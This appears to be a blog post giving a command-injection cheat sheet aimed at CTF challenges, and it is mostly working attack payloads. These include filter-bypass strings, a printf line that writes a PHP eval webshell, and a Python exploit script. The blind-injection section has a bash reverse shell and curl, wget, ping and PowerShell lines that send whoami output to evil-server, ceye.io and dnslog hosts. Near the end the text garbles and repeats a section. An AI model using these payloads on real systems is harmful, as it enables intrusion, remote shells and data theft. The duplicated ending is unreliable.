Command injection summary

Posted by xenooreo on Wed, 15 Dec 2021 07:33:32 +0100

Command injection summary

Command injection is to execute arbitrary commands on the host operating system through vulnerable applications. In this attack, the operating system commands provided by the attacker are usually executed with the privileges of the vulnerable application. Command injection attacks are likely to be mainly due to insufficient input validation. This attack is different from code injection because code injection allows attackers to add their own code, which is then executed by the application. In command injection, an attacker extends the default functionality of an application executing system commands without injecting code.

principle

Command injection attacks may occur when an application passes unsafe user provided data (forms, cookie s, HTTP headers, etc.) to the system shell without checking and filtering.

Common hazard functions

PHP

system

Execute the command specified by the command parameter and output the execution result.

system ( string $command , int &$return_var = ? ) : string

Command: the command to execute.

return_var: if return is provided_ Var parameter, the return status after external command execution will be set to this variable.

exec

Execute the command specified by the command parameter.

exec ( string $command , array &$output = ? , int &$return_var = ? ) : string

Command: the command to execute.

Output: if the output parameter is provided, the array will be filled with the output executed by the command, and one element in the array will be filled with each line of output.

return_var: if both output and return are provided_ Var parameter, the return status after the command is executed will be written to this variable.

passthru

Executes the command specified by the command parameter and displays the original output.

passthru ( string $command , int &$return_var = ? ) : void

Command: the command to execute.

return_var: if return is provided_ Var parameter, the return status of Unix command will be recorded to this parameter.

shell_exec

Execute the command through the shell environment and return the complete output as a string.

shell_exec ( string $cmd ) : string

cmd: command to execute.

popen

Open a pipeline to the process that is generated by deriving the execution of the given command command.

popen ( string $command , string $mode ) : resource

Command: command.

Mode: mode.

proc_open

Execute a command and open the file pointer for input / output.

proc_open ( string $cmd , array $descriptorspec , array &$pipes , string $cwd = null , array $env = null , array $other_options = null ) : resource

cmd: command to execute

descriptorspec: an array of indexes. Array keys represent descriptors, and array element values represent how PHP passes these descriptors to child processes. 0 represents standard input (stdin), 1 represents standard output (stdout), and 2 represents standard error (stderr).

pipes: will be set as an index array, where the element is the file pointer corresponding to the PHP end of the pipeline created by the executing program.

cwd: the initial working directory to execute the command. It must be an absolute path. Setting this parameter to null means that the default value (the working directory of the current PHP process) is used.

env: the environment variable used by the command to execute. Setting this parameter to null means that the same environment variable as the current PHP process is used.

other_options: you can also specify some additional options. Currently supported options include:

  • suppress_errors (Windows platform only): set to true to suppress the errors generated by this function.
  • bypass_shell (Windows platform only): set to true to bypass cmd.exe shell.

backquote

PHP supports an execution operator: backquote ("). PHP will try to execute the contents in the backquote as a shell command and return its output information (that is, it can be assigned to a variable rather than simply discarded to the standard output). The effect is the same as shell_exec().

Python

system

system(command)

Execute the command (string) in the sub shell. On Unix, the return value is the exit status of the process; on Windows, the return value is the value returned by the system shell after running the command.

popen

popen(cmd, mode='r', buffering=-1)

Open a pipe that leads to / accepts the self command cmd. The return value is the file object connected to the pipeline. Whether the object can be read or written depends on whether the mode is' r '(default) or' w '.

subprocess.call/subprocess.run

subprocess.call(args, *, stdin=None, stdout=None, stderr=None, shell=False, cwd=None, timeout=None, **other_popen_kwargs)

Run the command described by args. Wait for the command to complete, and then return the returncode property.

spawn

Create a new process to execute commands

Java

java.lang.Runtime.getRuntime().exec(command)

Common symbols under Linux

Special symbols

Symbolexplain
A;BA will execute the B command whether it is correct or not
A&BA runs in the background, and a and B execute at the same time
A&&BThe command B will be executed only when the execution of A is successful
A|BAs A parameter of the B command, A will execute the B command whether it is correct or not
A||BThe command B will not be executed until the execution of A fails
()Group instruction group, which encloses a series of continuous instructions in parentheses, and the execution effect is equivalent to that of multiple independent commands.
(())Used for arithmetic operations', similar to the let instruction
{}Splicing character usage, {xx,yy,zz...} {aa,bb,cc...} get xxaa,xxbb,xxcc,yyaa,yybb,yycc,zzaa,zzbb,zzcc
[]Play the role of judgment in process control; Play a role like "range" or "set" in regular expressions.
[[ ]]This group of symbols is basically the same as the previous [] symbols, but she allows the direct use of symbols such as | and & & logic.

wildcard

characterexplain
*Match any character of any length
?Match any single character
[list]Match any single character within the specified range (list), or it can be a collection of single characters
[^list]Matches any single character or character set outside the specified range
[!list]Same as [^ list]
{str1,str2,...}Match srt1 or srt2 or more strings, or a collection
IFSIt consists of one of < space > or < tab > or < ENTER >
CRGenerated by < ENTER >
!Execute the commands in history

Common bypass

Commands separate and execute multiple commands

  • On Unix:
%0a express\r
%0d express\n
;
&
|
$(shell_command)
`shell_command`
{shell_command,}
  • On Windows:
%0a
&
|
%1a - A magical character, as.bat Command separator in file

Space bypass

  • Use < or < >
cat<>flag
cat<flag
  • Use IFS
cat$IFS$9/flag
cat${IFS}/flag
cat$IFS/flag
  • Bypass with url encoding
%09 
  • Curly bracket extension {OS_COMMAND,ARGUMENT}
{cat,/etc/passwd}
  • Variable control
X=$'cat\x20/flag'&&$X
X=$'cat\x09/flag'&&$X

Bypass escape hellcmd

  • Execute bat under win

Execute under win bat file, using% 1a, you can bypass the filter and execute commands

id=../ %1a whoami
  • Wide byte injection

php5.2.5 and earlier can be bypassed by entering multiple bytes. It's almost gone now.

escapeshellcmd("echo ".chr(0xc0).";id");

Then the statement becomes

echo To put up with;id

So as to realize the injection of id command.

Blacklist bypass

PHP representation string method

echo "foo";
echo (string)"bar";
echo (string)hello;
echo (world);
  • Splicing
a=c;b=at;c=flag;$a$b $c
(sy.(st).em)(whoami)
  • Leverage existing resources

Get the corresponding characters from the existing files or environment variables.

  • code
echo "Y2F0IGZsYWc="|base64 -d   express: cat flag
echo "Y2F0IGZsYWc="|base64 -d|bash
(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")
 
#You can write webshell in this way. The content is <? php @eval($_POST['c']);?>
{printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
  • Single quotation mark, double quotation mark
c""at fl''ag
c'a't f'l'ag
  • Backslash\
c\at fl\ag
  • wildcard
/?in/?s => /bin/ls
cat fl[0-z]g
echo d{a,e,i,u,o}g => dag deg dig dug dog
echo {fl,fla}{ag,g} => flag flg flaag flag
echo fl{0..z}g => fl1g,fl2g,...,flyg,flzg
  • Undefined variable
cat$x /etc/passwd
  • Define additional parameters

If only parameter c is checked and filtered, parameter a can be constructed to bypass

?c=eval($_GET[a]);&a=cat ./flag

When eval() or () is also filtered, you can use include to read the file with php pseudo protocol

php://filter It is a meta wrapper designed for the "filter" application when "data flow is open" to read and write local disk files. To put it simply, you can read the code in another way before executing the code. You just read it without opening allow_url_include.

?file=php://filter/convert.base64-encode/resource=xxx.php
c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
  • Variable function

After obtaining the index of the built-in function system, execute it directly

#1. Get the index of the system function first
php -r 'get_defined_functions();' | grep 'system'
#2. Directly use the system function to execute
php -r get_defined_functions()[501](whoami)'
  • $@
c$@at fl$@ag
echo i$@d
  • Use existing resources
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
echo $PATH| cut -c 1
/
echo $PATH| cut -c 1-4
/usr
  • Character array

In php, each character of the string can be obtained in the form of an array, so that we can first define a string containing all the required characters, and then construct the string we need by taking the characters from the subscript and splicing them.

# Equivalent to executing (system)(ls /tmp)
php -r '$a="elmsty/ ";($a[3].$a[5].$a[3].$a[4].$a[0].$a[2])($a[1].$a[3].$a[-1].$a[-2].tmp)'
  • Use some existing characters
  • Character corresponding to ${PS2} >
  • Character corresponding to ${PS4}+
  • ${IFS} corresponds to the internal field separator
  • corresponds to an empty string
  • Using regular matching
grep show flag.php

Then flag The line in the PHP file that regularly matches the show string.

Parameterless rce

print_r(scandir(‘.’)); View all file names in the current directory

The localeconv() function returns an array containing local numbers and currency format information.

The current() function returns the current element (cell) in the array. The first value is taken by default. pos is the alias of current

each() returns the current key / value pair in the array and moves the array pointer one step forward
end() points the internal pointer of the array to the last cell
next() moves the internal pointer in the array one bit forward
prev() rewinds the internal pointer in the array by one bit
array_reverse() returns the array in the reverse order of elements

Print out the files in the current directory:

print_r(scandir(current(localeconv())));

current(localeconv()) is the combination of these two functions

Print out the contents of the penultimate file

show_source(next(array_reverse(scandir(getcwd()))));

Filter letters or numbers

  • Using numbers

To filter letters but not numbers, use the base64 command:

/???/????64 ????.???    ==>   /bin/base64 flag.php
  • Use to upload temporary files

Take advantage of php's features: if we send a post package to upload files, php will save the uploaded files in a temporary folder, and the default file directory is / tmp/phpxxxxxx. The last six characters of the file name are random upper and lower case letters, and the probability of the last character is uppercase letters. The easy way to think of matching is to use? For matching, i.e?????????, However, this does not necessarily match the files we upload. What can we do at this time?

Observed in ascii code table

The first symbol of the capital letter A is @, and the last letter of the capital letter Z is [, so we can use [@ - [] to represent matching capital letters, that is, it becomes the form:??? /???????? [@ - [], at this step, we can match the uploaded files. How to execute the uploaded files after limiting the letters? Here's a trick: use File to execute the file

exp:

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/11 9:14
# blog: www.wlhhlc.top
import requests
while True:
    url = "http://**********/?c=. /???/????????[@-[]"
 
    r = requests.post(url, files={"file": ("dota.txt", "cat flag.php")})
    flag = r.text.split('ctfshow')
    if len(flag) >1:
        print(r.text)
        break
  • Use $and () to construct numbers

$(()) represents an operation, because it is empty, which also means that the value is 0
$(~ $(())) negates 0 with a value of - 1
$($((~ $(()))) $(~ $(())) - 1-1, that is (- 1) + - 1) is - 2, so the value is - 2
$(~ $((~ $(()))) $(~ $(())) negates - 2 again to get 1, so the value is 1

If you negate a bit by bit, the result is - (a+1), that is, negate 0 to get - 1

exp:

data = "$((~$(("+"$((~$(())))"*37+"))))"   #Here - 37 takes the opposite, which is 36
print(data)

Common file reading methods

highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // Non php code
include_once($filename); // Non php code
require($filename); // Non php code
require_once($filename); // Non php code
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // Read one line
fpassthru(fopen($filename, "r")); // Read from current position to EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // Read a line from the file pointer and filter out HTML tags
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // false is returned on failure, and the configuration array is returned on success

Common directory reading methods

print_r(glob("*")); // Column current directory
print_r(glob("/*")); // Column root directory
print_r(scandir("."));
print_r(scandir("/"));
var_export(scandir('/'));
var_dump(scandir('/'));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value."   ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

Using database to read file bypass

Load with mysql_ File to read the file

exp:

try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
        'root');
 
    foreach ($dbh->query('select load_file("/flag.txt")') as $row) {
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}

Using FFI

Use php7 4 can execute the extension of C language, so as to use the system function of C for star execution.

$ffi = FFI::cdef( "int system(const char *command);");    // Create a system object
$ffi->system("/readflag > 1.txt");    // Execute commands through system

Using Bash built-in variables

  • nl
root@ubuntu:~# echo ${PWD}
/root
root@ubuntu:~# echo ${PWD:1:1}        #Represents the first character from the 1 subscript
r
root@ubuntu:~# echo ${PWD:0:1}         #Represents the first character from the 0 subscript
/
root@ubuntu:~# echo ${PWD:~0:1}        #The first character from the end forward
t
root@ubuntu:~# echo ${PWD:~A}        #So the letter and 0 have the same effect
t
root@ubuntu:~# echo ${PATH}    
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
root@ubuntu:~# echo ${PATH:~A}
n
root@ubuntu:/var/www/html# echo ${PATH:~A}${PWD:~A}
nl

Under normal circumstances, the value of ${PWD} is / var/www/html under the WWW data user, and ${PATH} is the same as that of the root user. Then we can construct nl to read the file: ${PATH:~A}${PWD:~A}

  • /bin/base64

Method 1:

Constructing / bin/base64 requires two characters of / and 4. Others can be replaced by wildcards.
/Very simply, the first place of pwd is that because this question ban has a number, you can bypass it with ${#SHLVL} whose value must be 1

root@ubuntu:~# echo ${#SHLVL}
1
root@ubuntu:~# echo ${PWD::${SHLVL}}
/
root@ubuntu:~# echo ${#RANDOM}
4
root@ubuntu:~# echo ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM}
/bin/base64

SHLVL: is an accumulator that records the nesting depth of multiple Bash process instances. When a process first opens a shell, ${SHLVL}=1, and then opens another shell in this shell, $SHLVL=2.

RANDOM: this variable value is a RANDOM integer with a range of 0-32767. However, although it is RANDOM, it is not really RANDOM, because the RANDOM number is the same every time. Therefore, before using the RANDOM variable, please arbitrarily set a number to RANDOM as a RANDOM number seed, so that the RANDOM numbers generated each time will not be in the same order. Moreover, after testing, it is found that the number of digits generated by RANDOM in linux is generally 4, so ${#RANDOM} can be used to generate the number 4.

In Linux, ${#xxx} displays the number of digits of the value. If # is not added, it is the value of the variable. If # is added, it is the length of the value of the variable. For example, the value of 12345 is 5, while most of the numbers generated by random function are 4 or 5, so it can replace 4.

Method 2:

root@ubuntu:/var/www/html# echo $?
0
root@ubuntu:/var/www/html# <A
-bash: A: No such file or directory
root@ubuntu:/var/www/html# echo $?
1
root@ubuntu:~# echo ${HOME}
/root
root@ubuntu:/var/www/html# echo ${#RANDOM}
4
root@ubuntu:~# echo ${HOME::$?}???${HOME::$?}?????${#RANDOM}
/bin/base64

$? : The end code (return value) of the last running command is the return value of the last instruction executed (showing the exit status of the last command). 0 indicates no error, and any other value indicates an error. The value of 1 can be returned by using the error report of < a

"OS error code   1:  Operation not permitted"
"OS error code   2:  No such file or directory"
"OS error code   3:  No such process"
"OS error code   4:  Interrupted system call"
"OS error code   5:  Input/output error"
"OS error code   6:  No such device or address"
"OS error code   7:  Argument list too long"
"OS error code   8:  Exec format error"
"OS error code   9:  Bad file descriptor"
"OS error code  10:  No child processes"
  • /bin/cat

Method 1:

To construct / bin/cat, you need t and /, ${HOME} is / root by default, so you need to get its last letter. The HOSTNAME of the container should be 5 letters, so ${#HOSTNAME} can start from bit 5, 1 or use ${#SHLVL}

root@ubuntu:~# echo ${#HOSTNAME}
5
root@ubuntu:~# echo ${HOME}
/root
root@ubuntu:~# echo ${HOME:${#HOSTNAME}:${#SHLVL}}
t
root@ubuntu:~# echo ${PWD::${SHLVL}}
/
root@ubuntu:~# echo ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}}
/bin/cat

Method 2:

Generally, the permissions given are www data, so we can use ${USER} to obtain "www data", and if we want to get at, we need ${USER:~2:2}, but the number is prohibited, so next we need to think about how to construct 2. Generally, we can view the http header information and use the php version information. For example, I found that the version of php is 7.3 22, just contains the number 2, so use PHP_VERSION

root@ubuntu:~# echo ${USER}
www-data
root@ubuntu:~# echo ${PHP_VERSION:~A}
2
root@ubuntu:~# echo ${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}}
at
root@ubuntu:~# echo ${#}
0
root@ubuntu:~# echo ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}}
/bin/cat
root@ubuntu:~# echo ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}}?
/bin/cat
  • /bin/rev
root@ubuntu:~# echo ${##}
1
root@ubuntu:~# echo ${#?}
1
root@ubuntu:/var/www/html# echo ${#IFS}
3
root@ubuntu:/var/www/html# echo ${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}??
/bin/rev

Using mathematical functions

Mainly through base_ The convert() function converts hexadecimal characters into decimal numbers, and then restores them to functions or commands that were originally hexadecimal or not in the white list through the reverse process.

example: Using mathematical functions to construct command execution

Character limit bypass

Use output redirection > step by step to enter the command to be executed into a file, and then execute the file through sh

Short command execution

First, according to the usage of > above, we can know that there is standard output that can be output to a file

  1. Only \ branch input is used. This advantage is that it can be directly output to a file with LS > A without considering the chronological order
root@kali:~/Desktop# >ec\
> ho\
> \ 1
root@kali:~/Desktop# ls >a
root@kali:~/Desktop# cat a
a
echo 1
root@kali:~/Desktop# sh a
a: 1: a: not found
1

Here, echo 1 is output to the desktop as a string, then the ls command is used to store the contents of the desktop in file a, and then execute the contents of file a to output 1.

  1. Using \ \, this method uses \ tosplice strings, where the previous \ is used to escape the next \. Here, you need to consider the chronological order and create files in reverse order.
root@kali:~/Desktop# >\ 1\\
root@kali:~/Desktop# >ho\\
root@kali:~/Desktop# >ec\\
root@kali:~/Desktop# ls -t>a
root@kali:~/Desktop# cat a
a
ec\
ho\
 1\
root@kali:~/Desktop# sh a
a: 1: a: not found
1
  • -t list the documents according to the order of creation time

Command injection without echo

Most of what we mentioned before are command injection with echo or some prompts. What should we do when we encounter command injection without echo?

sleep

  • First, we can use the sleep command to judge whether there is a command execution vulnerability according to the return time.
?cmd=sleep 5

If there is command execution, it will wait 5 seconds before returning the response.

  • Blind injection using sleep
sleep $(hostname | cut -c 1 |tr a 5)
  1. The command we execute is hostname. Let's assume it returns hacker.
  2. It needs to output and pass it to cut -c 1. This will pick up the first character h of the hacker.
  3. The character a is then replaced with 5 by the tr command.
  4. Then pass the output of the TR command to the sleep command. When sleep h is executed, an error will appear immediately, because the parameter followed by sleep can only be a number. The target then iterates over the characters using the TR command. It will take 5 seconds to execute the sleep $(hostname | cut -c 1 | tr h 5) command.

So we can determine that the first character is an h. By analogy, we can guess the complete host name.

DNSLog

If there is no command execution statement, you can use DNSLog to view the results.

  • window
ping %USERNAME%.t6n089.ceye.io
  • *nix
ping -c 1 `whoami`.t6n089.ceye.io

You can see that our user name is displayed on the far left of the domain name

Rebound shell

First, open the listening port on your own machine:

nc -lvp 2333

Then enter at the command execution:

bash -i >&/dev/tcp/ip address/Port 0>&1

bash control of the target can be obtained:

root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
192.168.91.143: inverse host lookup failed: Unknown host
connect to [192.168.91.128] from (UNKNOWN) [192.168.91.143] 34728
root@ubuntu18:/var/www/html# ls
ls
checksite
DVWA-master
index.html
phpmyadmin
test.php

HTTP take out

  • Linux
curl http://evil-server/$(whoami)
wget http://evil-server/$(whoami)
curl http://evil-server/`whoami`
curl xxxx.ceye.io/`whoami`
curl http://xxxx.ceye.io/$(id|base64)
ping -c 1 `whoami`.xxxx.ceye.io

  • Window
http:
for /F %x in ('whoami') do start http://xxx.ceye.io/%x
dns Request:
Get computer name: for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
 Get user name: for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
 
for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a);
/www/html# ls
ls
checksite
DVWA-master
index.html
phpmyadmin
test.php

HTTP take out

  • Linux
curl http://evil-server/$(whoami)
wget http://evil-server/$(whoami)
curl http://evil-server/`whoami`
curl xxxx.ceye.io/`whoami`
curl http://xxxx.ceye.io/$(id|base64)
ping -c 1 `whoami`.xxxx.ceye.io

[external chain picture transferring... (img-b3bjZLsJ-1639546877039)]

  • Window
http:
for /F %x in ('whoami') do start http://xxx.ceye.io/%x
dns Request:
Get computer name: for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
 Get user name: for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
 
for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a);

Topics: security Web Security